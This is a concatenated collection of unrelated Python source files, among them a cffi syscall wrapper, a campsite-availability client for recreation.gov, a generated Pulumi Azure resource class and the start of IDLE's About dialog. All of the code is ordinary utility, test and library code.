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py | 1a4c9ec941c92bde9c5d3ae0ab8135ec200fb270 | #!/usr/bin/env python
"""fhandle: wrappers for the name_to_handle_at and open_by_handle_at syscalls."""
from cffi import FFI
ffi = FFI()
ffi.cdef("""
#define MAX_HANDLE_SZ ...
#define AT_FDCWD ...
#define AT_EMPTY_PATH ...
#define AT_SYMLINK_FOLLOW ...
struct file_handle {
unsigned int handle_bytes; /* Size of f_handle [in, out] */
int handle_type; /* Handle type [out] */
//unsigned char f_handle[0]; /* File identifier (sized by caller) [out] */
unsigned char f_handle[]; /* File identifier (sized by caller) [out] */
};
int name_to_handle_at(int dirfd, const char *pathname,
struct file_handle *handle,
int *mount_id, int flags);
int open_by_handle_at(int mount_fd, struct file_handle *handle,
int flags);
""")
ffi.set_source("_fhandle_c", """
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
|
py | 1a4c9f7e3a47c84f5da0dd8a60abc5c79c9e2cb0 | def aumentar(_valor, _percentual, _format = True):
return moeda(_valor * (1 + _percentual / 100), _format)
def diminuir(_valor, _percentual, _format = True):
return moeda(_valor * (1 - _percentual / 100), _format)
def dobro(_valor, _format = True):
return moeda(_valor * 2, _format)
def metade(_valor, _format = True):
return moeda(_valor / 2, _format)
def moeda(_valor, _format = True):
if _format:
return 'R$ {:.2f}'.format(_valor).replace('.', ',')
else:
return _valor
|
py | 1a4c9fa2d297d6aca4d60b254d4d3999fe862df7 | import sys, os, argparse, random
parser = argparse.ArgumentParser()
required = parser.add_argument_group('required arguments')
## user inputs required
required.add_argument('-l', '--len', help='length of random sequences', dest='length')
required.add_argument('-n', '--num', help='number of random sequences', dest='number')
args = parser.parse_args()
k=int(args.number)
l=int(args.length)
dna = ["A","G","C","T"]
database=[]
while len(database)<k:
randseq=""
for i in range(0,l):
randseq+=random.choice(dna)
if randseq not in database:
database.append(randseq)
print(database)
|
py | 1a4ca0a1af7ec9c8b480b844c0dd6f213c9c4e78 | # coding: utf-8
"""
OrderCloud
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 1.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from __future__ import absolute_import
import os
import sys
import unittest
import OrderCloud
from OrderCloud.rest import ApiException
from OrderCloud.models.partial_approval_rule import PartialApprovalRule
class TestPartialApprovalRule(unittest.TestCase):
""" PartialApprovalRule unit test stubs """
def setUp(self):
pass
def tearDown(self):
pass
def testPartialApprovalRule(self):
"""
Test PartialApprovalRule
"""
model = OrderCloud.models.partial_approval_rule.PartialApprovalRule()
if __name__ == '__main__':
unittest.main()
|
py | 1a4ca2ee0a05e7af33c8be8b7610dfb55d787093 | # included code for NAF/KAF
from span_data import *
from external_references_data import *
from term_sentiment_data import *
from lxml import etree
class Cterm:
def __init__(self,node=None,type='NAF'):
self.type = type
if node is None:
self.node = etree.Element('term')
else:
self.node = node
def get_node(self):
return self.node
def get_id(self):
if self.type == 'NAF':
return self.node.get('id')
elif self.type == 'KAF':
return self.node.get('tid')
def get_lemma(self):
return self.node.get('lemma')
def get_pos(self):
return self.node.get('pos')
def get_morphofeat(self):
return self.node.get('morphofeat')
def get_span(self):
node_span = self.node.find('span')
if node_span is not None:
return Cspan(node_span)
else:
return None
def get_sentiment(self):
sent_node = self.node.find('sentiment')
if sent_node is None:
return None
else:
return Cterm_sentiment(sent_node)
def add_external_reference(self,ext_ref):
ext_refs_node = self.node.find('externalReferences')
if ext_refs_node is None:
ext_refs_obj = CexternalReferences()
self.node.append(ext_refs_obj.get_node())
else:
ext_refs_obj = CexternalReferences(ext_refs_node)
ext_refs_obj.add_external_reference(ext_ref)
def add_term_sentiment(self,term_sentiment):
self.node.append(term_sentiment.get_node())
def get_external_references(self):
ext_ref_node = self.node.find('externalReferences')
if ext_ref_node is not None:
ext_refs_obj = CexternalReferences(ext_ref_node)
for ref in ext_refs_obj:
yield ref
class Cterms:
def __init__(self,node=None,type='NAF'):
self.idx = {}
self.type = type
if node is None:
self.node = etree.Element('terms')
else:
self.node = node
for node_term in self.__get_node_terms():
self.idx[node_term.get('id')] = node_term
def get_node(self):
return self.node
def to_kaf(self):
if self.type == 'NAF':
self.type = 'KAF'
for node in self.__get_node_terms():
node.set('tid',node.get('id'))
del node.attrib['id']
def to_naf(self):
if self.type == 'KAF':
self.type = 'NAF'
for node in self.__get_node_terms():
node.set('id',node.get('tid'))
del node.attrib['tid']
def __get_node_terms(self):
for node_term in self.node.findall('term'):
yield node_term
def __iter__(self):
for node_term in self.__get_node_terms():
yield Cterm(node_term,self.type)
def get_term(self,term_id):
if term_id in self.idx:
return Cterm(self.idx[term_id],self.type)
else:
return None
def add_external_reference(self,term_id, external_ref):
if term_id in self.idx:
term_obj = Cterm(self.idx[term_id],self.type)
term_obj.add_external_reference(external_ref)
def remove_terms(self,list_term_ids):
nodes_to_remove = set()
for term in self:
if term.get_id() in list_term_ids:
nodes_to_remove.add(term.get_node())
#For removing the previous comment
prv = term.get_node().getprevious()
if prv is not None:
nodes_to_remove.add(prv)
for node in nodes_to_remove:
self.node.remove(node)
|
py | 1a4ca2f2f73c0422578d74148f1c415217e3ac87 | from django.core.management.base import BaseCommand
from ...models import MultisigConfirmation, MultisigTransaction
class Command(BaseCommand):
help = "Binds confirmations with multisig txs"
def add_arguments(self, parser):
# Positional arguments
# parser.add_argument('--deployer-key', help='Private key for deployer')
pass
def handle(self, *args, **options):
for multisig_confirmation in MultisigConfirmation.objects.without_transaction():
try:
tx = MultisigTransaction.objects.get(
safe_tx_hash=multisig_confirmation.multisig_transaction_hash
)
multisig_confirmation.multisig_transaction = tx
multisig_confirmation.save(update_fields=["multisig_transaction"])
self.stdout.write(
self.style.SUCCESS(
f"Bind confirmation with multisig tx={tx.safe_tx_hash}"
)
)
except MultisigTransaction.DoesNotExist:
pass
|
py | 1a4ca3a5c4f677d53f919cf4891078eafb8940fa |
class Jet:
def __init__(
self,
progenitor=None,
constituents=None,
mass=None,
pt=None,
eta=None,
phi=None,
y=None,
tree=None,
root_id=None,
tree_content=None,
**kwargs
):
self.constituents = constituents
self.mass = mass
self.pt = pt
self.eta = eta
self.phi = phi
self.y = y
self.progenitor = progenitor
self.tree = tree
self.root_id = root_id
self.tree_content = tree_content
def __len__(self):
return len(self.constituents)
class QuarkGluonJet(Jet):
def __init__(self,
photon_pt=None,
photon_eta=None,
photon_phi=None,
env=None,
**kwargs):
self.photon_pt = photon_pt
self.photon_eta = photon_eta
self.photon_phi = photon_phi
self.env = env
super().__init__(**kwargs)
|
py | 1a4ca476049cc3ce478c267405050b1259236b34 | # coding: UTF-8
from flask import request
from flask_restful import Resource
from flask_jwt_extended import (jwt_required)
from ...utils.utils import get_res_data
import os
from werkzeug import secure_filename
# from ...services import GoogleCloudStorage
class UserProjectAssetsResource(Resource):
@jwt_required
def get(self, project_id):
pass
# gcs = GoogleCloudStorage()
# list = gcs.get_list()
# return get_res_data(data=list), 200
@jwt_required
def post(self, project_id):
# file = request.files['file']
# if file:
# filename = secure_filename(file.filename)
# file.save(os.path.join('src/assets/uploadfile', filename))
# gcs = GoogleCloudStorage()
# gcs.upload(filename, os.path.join('src/assets/uploadfile', filename))
# list = gcs.get_list()
# return get_res_data(rmg="アップロード成功しました", data=list), 200
return get_res_data(rmg="ファイルの形式が不正です。"), 200
|
py | 1a4ca47ce38b1d1c5c6b4b704d83bca554bca9e6 | # USAGE
# python match_histograms.py --source empire_state_cloudy.png --reference empire_state_sunset.png
# import the necessary packages
from skimage import exposure
import matplotlib.pyplot as plt
import argparse
import cv2
# construct the argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-s", "--source", required=True,
help="path to the input source image")
ap.add_argument("-r", "--reference", required=True,
help="path to the input reference image")
args = vars(ap.parse_args())
# load the source and reference images
print("[INFO] loading source and reference images...")
src = cv2.imread(args["source"])
ref = cv2.imread(args["reference"])
# determine if we are performing multichannel histogram matching
# and then perform histogram matching itself
print("[INFO] performing histogram matching...")
multi = True if src.shape[-1] > 1 else False
#matched = exposure.match_histograms(src, ref, channel_axis=2, multichannel=multi)
matched = exposure.match_histograms(src, ref, multichannel=multi)
# show the output images
cv2.imshow("Source", src)
cv2.imshow("Reference", ref)
cv2.imshow("Matched", matched)
cv2.waitKey(0)
# construct a figure to display the histogram plots for each channel
# before and after histogram matching was applied
(fig, axs) = plt.subplots(nrows=3, ncols=3, figsize=(8, 8))
# loop over our source image, reference image, and output matched
# image
for (i, image) in enumerate((src, ref, matched)):
# convert the image from BGR to RGB channel ordering
image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
# loop over the names of the channels in RGB order
for (j, color) in enumerate(("red", "green", "blue")):
# compute a histogram for the current channel and plot it
(hist, bins) = exposure.histogram(image[..., j],
source_range="dtype")
axs[j, i].plot(bins, hist / hist.max())
# compute the cumulative distribution function for the
# current channel and plot it
(cdf, bins) = exposure.cumulative_distribution(image[..., j])
axs[j, i].plot(bins, cdf)
# set the y-axis label of the current plot to be the name
# of the current color channel
axs[j, 0].set_ylabel(color)
# set the axes titles
axs[0, 0].set_title("Source")
axs[0, 1].set_title("Reference")
axs[0, 2].set_title("Matched")
# display the output plots
plt.tight_layout()
plt.show() |
py | 1a4ca59441226af855315fa4b97cfbb58925f885 | from datetime import date
from itertools import groupby
from json import dumps
from ._requests import get_session
class Campsite(dict):
"""Describes a campsite object from recreation.gov
"""
@property
def id(self):
return self['CampsiteID']
@property
def name(self):
return self['CampsiteName']
@property
def site_type(self):
return self['CampsiteType']
@property
def loop(self):
return self['Loop']
@property
def attributes(self):
return {x['AttributeName']: x['AttributeValue']
for x in self['ATTRIBUTES']}
@property
def availabilities(self):
avail = [date.fromisoformat(k[:10])
for k, v in self.get('availabilities', dict()).items()
if v == "Available"]
# Consolidate to ranges of dates. Adapted from
# See https://docs.python.org/2.6/library/itertools.html#examples
def delta(ndx):
return ndx[0] - ndx[1].toordinal()
consecutive_days = [[x[1] for x in g]
for k, g in groupby(enumerate(avail), delta)]
def cleanup_sets(dayset: list) -> str:
if len(dayset) == 1:
return dayset[0].isoformat()
return dayset[0].isoformat() + " to " + dayset[-1].isoformat()
return [cleanup_sets(x) for x in consecutive_days]
@property
def available_nights(self) -> int:
"""Returns the number of available nights
:return: Number of nights available
:rtype: int
"""
avail = [x for x in self.get(
'availabilities').values() if x == "Available"]
if avail is not None:
return len(avail)
@property
def permitted_equipment_lengths(self):
return {x['EquipmentName']: x['MaxLength']
for x in self['PERMITTEDEQUIPMENT']}
def supports_equipment(self,
equipment_name: str,
equipment_length: float) -> bool:
max_length = self.permitted_equipment_lengths.get(equipment_name, -1)
return max_length >= equipment_length
def __repr__(self):
availabilities = f" availabilities={dumps(self.availabilities)} "
return f"<campsite id={dumps(self.id)} name={dumps(self.name)} " + \
f"type={dumps(self.site_type)} " + \
f"facility={dumps(self['FacilityID'])} " + \
f"loop={dumps(self.loop)} {availabilities}/>"
@property
def site_url(self):
return f"https://www.recreation.gov/camping/campsites/{self.id}"
def __gt__(self, other: "Campsite") -> bool:
return self.loop+self.name > other.loop+other.name
def __lt__(self, other: "Campsite") -> bool:
return self.loop+self.name < other.loop+other.name
class CampsiteSet(dict):
"""A set of Campsite objects indexed on their site id.
"""
def ingest_availability(self, availability: dict) -> None:
"""ingests availability data to the campsites.
:param availability: availability date from the month endpoint.
:type availability: dict
"""
for k, v in availability.items():
if k in self:
self[k]['availabilities'] = v['availabilities']
@staticmethod
def from_list(campsites: list) -> 'CampsiteSet':
"""Geerates a CampsiteSet from a list.
:return: [description]
:rtype: [type]
"""
return CampsiteSet({x['CampsiteID']: Campsite(x) for x in campsites})
def filter_by_equipment(self,
equipment_name: str,
equipment_length: float) -> 'CampsiteSet':
"""Returns a smaller CampsiteSet that supports the given equipment.
:return: the filtered set of campsites based on the specified equipment
:rtype: CampsiteSet
"""
return CampsiteSet({x['CampsiteID']: Campsite(x)
for x in self.values()
if x.supports_equipment(equipment_name,
equipment_length)
})
@property
def unique_campsite_types(self):
return set([x['CampsiteType'] for x in self.values()])
def filter_by_campsite_type(self, *types) -> 'CampsiteSet':
"""Returns a smaller set filtered by the campsite type(s)
:param types: a list, tuple, or set of types
:return: The filtered set
:rtype: CampsiteSet
"""
return CampsiteSet({x['CampsiteID']: Campsite(x) for x in self.values()
if x['CampsiteType'] in types})
def exclude_by_campsite_type(self, *types) -> 'CampsiteSet':
"""Returns a smaller set by excluding by the given campsite type(s)
:param types: a list, tuple, or set of types
:return: The filtered set
:rtype: CampsiteSet
"""
return CampsiteSet({x['CampsiteID']: Campsite(x) for x in self.values()
if x['CampsiteType'] not in types})
def apply_filters(self, filters: dict) -> 'CampsiteSet':
result = self
for filter, params in filters.items():
if not hasattr(self, filter):
raise ValueError(f"Unknown filter, {filter}")
result = getattr(result, filter)(
*params.get('args', []), **params.get('kwargs', {}))
return CampsiteSet(result)
def with_availability(self) -> 'CampsiteSet':
return CampsiteSet({k: v for k, v in self.items()
if v.available_nights > 0})
def get_campsites(asset: int, apikey=None) -> CampsiteSet:
"""Gets a CampsiteSet for the given asset.
:param asset: the asset id from recreation.gov
:type asset: int
:param apikey: An API Key if you haven't set the environment variable
:type apikey: str
:return: a CampsiteSet you can filter.
:rtype: CampsiteSet
"""
sess = get_session(apikey=apikey)
resp = sess.get_record_iterator(
f"https://ridb.recreation.gov/api/v1/facilities/{asset}/campsites")
return CampsiteSet({x['CampsiteID']: Campsite(x) for x in resp})
|
py | 1a4ca59e0719bfe74740dd59dd2ab66c5f57d80f | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from . import outputs
from ._enums import *
from ._inputs import *
__all__ = ['PublicIPAddress']
class PublicIPAddress(pulumi.CustomResource):
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
dns_settings: Optional[pulumi.Input[pulumi.InputType['PublicIPAddressDnsSettingsArgs']]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
idle_timeout_in_minutes: Optional[pulumi.Input[int]] = None,
ip_address: Optional[pulumi.Input[str]] = None,
ip_configuration: Optional[pulumi.Input[pulumi.InputType['IPConfigurationArgs']]] = None,
location: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None,
public_ip_address_name: Optional[pulumi.Input[str]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
resource_guid: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None,
__name__=None,
__opts__=None):
"""
Public IP address resource.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[pulumi.InputType['PublicIPAddressDnsSettingsArgs']] dns_settings: The FQDN of the DNS record associated with the public IP address.
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated.
:param pulumi.Input[str] id: Resource Identifier.
:param pulumi.Input[int] idle_timeout_in_minutes: The idle timeout of the public IP address.
:param pulumi.Input[pulumi.InputType['IPConfigurationArgs']] ip_configuration: IPConfiguration
:param pulumi.Input[str] location: Resource location.
:param pulumi.Input[str] provisioning_state: The provisioning state of the PublicIP resource. Possible values are: 'Updating', 'Deleting', and 'Failed'.
:param pulumi.Input[Union[str, 'IPAllocationMethod']] public_ip_allocation_method: The public IP allocation method. Possible values are: 'Static' and 'Dynamic'.
:param pulumi.Input[str] public_ip_address_name: The name of the public IP address.
:param pulumi.Input[str] resource_group_name: The name of the resource group.
:param pulumi.Input[str] resource_guid: The resource GUID property of the public IP resource.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags.
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = dict()
__props__['dns_settings'] = dns_settings
__props__['etag'] = etag
__props__['id'] = id
__props__['idle_timeout_in_minutes'] = idle_timeout_in_minutes
__props__['ip_address'] = ip_address
__props__['ip_configuration'] = ip_configuration
__props__['location'] = location
__props__['provisioning_state'] = provisioning_state
__props__['public_ip_allocation_method'] = public_ip_allocation_method
__props__['public_ip_address_name'] = public_ip_address_name
if resource_group_name is None and not opts.urn:
raise TypeError("Missing required property 'resource_group_name'")
__props__['resource_group_name'] = resource_group_name
__props__['resource_guid'] = resource_guid
__props__['tags'] = tags
__props__['name'] = None
__props__['type'] = None
alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-nextgen:network/v20150615:PublicIPAddress"), pulumi.Alias(type_="azure-native:network:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/latest:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/latest:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20150501preview:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20150501preview:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20160330:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20160330:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20160601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20160601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20160901:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20160901:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20161201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20161201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170301:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170301:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170801:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170901:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170901:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20171001:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20171001:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20171101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20171101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180401:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180401:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180701:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180701:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180801:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20181001:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20181001:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20181101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20181101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20181201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20181201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190401:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190401:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190701:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190701:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190801:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190901:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190901:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20191101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20191101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20191201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20191201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200301:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200301:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200401:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200401:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200501:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200501:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200701:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200701:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200801:PublicIPAddress")])
opts = pulumi.ResourceOptions.merge(opts, alias_opts)
super(PublicIPAddress, __self__).__init__(
'azure-native:network/v20150615:PublicIPAddress',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None) -> 'PublicIPAddress':
"""
Get an existing PublicIPAddress resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = dict()
__props__["dns_settings"] = None
__props__["etag"] = None
__props__["idle_timeout_in_minutes"] = None
__props__["ip_address"] = None
__props__["ip_configuration"] = None
__props__["location"] = None
__props__["name"] = None
__props__["provisioning_state"] = None
__props__["public_ip_allocation_method"] = None
__props__["resource_guid"] = None
__props__["tags"] = None
__props__["type"] = None
return PublicIPAddress(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="dnsSettings")
def dns_settings(self) -> pulumi.Output[Optional['outputs.PublicIPAddressDnsSettingsResponse']]:
"""
The FQDN of the DNS record associated with the public IP address.
"""
return pulumi.get(self, "dns_settings")
@property
@pulumi.getter
def etag(self) -> pulumi.Output[Optional[str]]:
"""
A unique read-only string that changes whenever the resource is updated.
"""
return pulumi.get(self, "etag")
@property
@pulumi.getter(name="idleTimeoutInMinutes")
def idle_timeout_in_minutes(self) -> pulumi.Output[Optional[int]]:
"""
The idle timeout of the public IP address.
"""
return pulumi.get(self, "idle_timeout_in_minutes")
@property
@pulumi.getter(name="ipAddress")
def ip_address(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "ip_address")
@property
@pulumi.getter(name="ipConfiguration")
def ip_configuration(self) -> pulumi.Output[Optional['outputs.IPConfigurationResponse']]:
"""
IPConfiguration
"""
return pulumi.get(self, "ip_configuration")
@property
@pulumi.getter
def location(self) -> pulumi.Output[Optional[str]]:
"""
Resource location.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Resource name.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> pulumi.Output[Optional[str]]:
"""
The provisioning state of the PublicIP resource. Possible values are: 'Updating', 'Deleting', and 'Failed'.
"""
return pulumi.get(self, "provisioning_state")
@property
@pulumi.getter(name="publicIPAllocationMethod")
def public_ip_allocation_method(self) -> pulumi.Output[Optional[str]]:
"""
The public IP allocation method. Possible values are: 'Static' and 'Dynamic'.
"""
return pulumi.get(self, "public_ip_allocation_method")
@property
@pulumi.getter(name="resourceGuid")
def resource_guid(self) -> pulumi.Output[Optional[str]]:
"""
The resource GUID property of the public IP resource.
"""
return pulumi.get(self, "resource_guid")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Resource tags.
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
Resource type.
"""
return pulumi.get(self, "type")
def translate_output_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return _tables.SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
|
py | 1a4ca6b4550841596eb25eb33ad22fb1191fd8d9 | """About Dialog for IDLE
"""
import os
import sys
from platform import python_version, architecture
from tkinter import Toplevel, Frame, Label, Button, PhotoImage
from tkinter import SUNKEN, TOP, BOTTOM, LEFT, X, BOTH, W, EW, NSEW, E
from idlelib import textview
def build_bits():
"Return bits for platform."
if sys.platform == 'darwin':
return '64' if sys.maxsize > 2**32 else '32'
else:
return architecture()[0][:2]
class AboutDialog(Toplevel):
"""Modal about dialog for idle
"""
def __init__(self, parent, title=None, *, _htest=False, _utest=False):
"""Create popup, do not return until tk widget destroyed.
parent - parent of this dialog
title - string which is title of popup dialog
_htest - bool, change box location when running htest
_utest - bool, don't wait_window when running unittest
"""
Toplevel.__init__(self, parent)
self.configure(borderwidth=5)
# place dialog below parent if running htest
self.geometry("+%d+%d" % (
parent.winfo_rootx()+30,
parent.winfo_rooty()+(30 if not _htest else 100)))
self.bg = "#bbbbbb"
self.fg = "#000000"
self.create_widgets()
self.resizable(height=False, width=False)
self.title(title or
f'About IDLE {python_version()} ({build_bits()} bit)')
self.transient(parent)
self.grab_set()
self.protocol("WM_DELETE_WINDOW", self.ok)
self.parent = parent
self.button_ok.focus_set()
self.bind('<Return>', self.ok) # dismiss dialog
self.bind('<Escape>', self.ok) # dismiss dialog
self._current_textview = None
self._utest = _utest
if not _utest:
self.deiconify()
self.wait_window()
def create_widgets(self):
frame = Frame(self, borderwidth=2, relief=SUNKEN)
frame_buttons = Frame(self)
frame_buttons.pack(side=BOTTOM, fill=X)
frame.pack(side=TOP, expand=True, fill=BOTH)
self.button_ok = Button(frame_buttons, text='Close',
command=self.ok)
self.button_ok.pack(padx=5, pady=5)
frame_background = Frame(frame, bg=self.bg)
frame_background.pack(expand=True, fill=BOTH)
header = Label(frame_background, text='IDLE', fg=self.fg,
bg=self.bg, font=('courier', 24, 'bold'))
header.grid(row=0, column=0, sticky=E, padx=10, pady=10)
tk_patchlevel = self.tk.call('info', 'patchlevel')
ext = '.png' if tk_patchlevel >= '8.6' else '.gif'
icon = os.path.join(os.path.abspath(os.path.dirname(__file__)),
'Icons', f'idle_48{ext}')
self.icon_image = PhotoImage(master=self._root(), file=icon)
logo = Label(frame_background, image=self.icon_image, bg=self.bg)
logo.grid(row=0, column=0, sticky=W, rowspan=2, padx=10, pady=10)
byline_text = "Python's Integrated Development\nand Learning Environment" + 5*'\n'
byline = Label(frame_background, text=byline_text, justify=LEFT,
fg=self.fg, bg=self.bg)
byline.grid(row=2, column=0, sticky=W, columnspan=3, padx=10, pady=5)
email = Label(frame_background, text='email: [email protected]',
justify=LEFT, fg=self.fg, bg=self.bg)
email.grid(row=6, column=0, columnspan=2, sticky=W, padx=10, pady=0)
docs = Label(frame_background, text='https://docs.python.org/' +
python_version()[:3] + '/library/idle.html',
justify=LEFT, fg=self.fg, bg=self.bg)
docs.grid(row=7, column=0, columnspan=2, sticky=W, padx=10, pady=0)
Frame(frame_background, borderwidth=1, relief=SUNKEN,
height=2, bg=self.bg).grid(row=8, column=0, sticky=EW,
columnspan=3, padx=5, pady=5)
pyver = Label(frame_background,
text='Python version: ' + python_version(),
fg=self.fg, bg=self.bg)
pyver.grid(row=9, column=0, sticky=W, padx=10, pady=0)
tkver = Label(frame_background, text='Tk version: ' + tk_patchlevel,
fg=self.fg, bg=self.bg)
tkver.grid(row=9, column=1, sticky=W, padx=2, pady=0)
py_buttons = Frame(frame_background, bg=self.bg)
py_buttons.grid(row=10, column=0, columnspan=2, sticky=NSEW)
self.py_license = Button(py_buttons, text='License', width=8,
highlightbackground=self.bg,
command=self.show_py_license)
self.py_license.pack(side=LEFT, padx=10, pady=10)
self.py_copyright = Button(py_buttons, text='Copyright', width=8,
highlightbackground=self.bg,
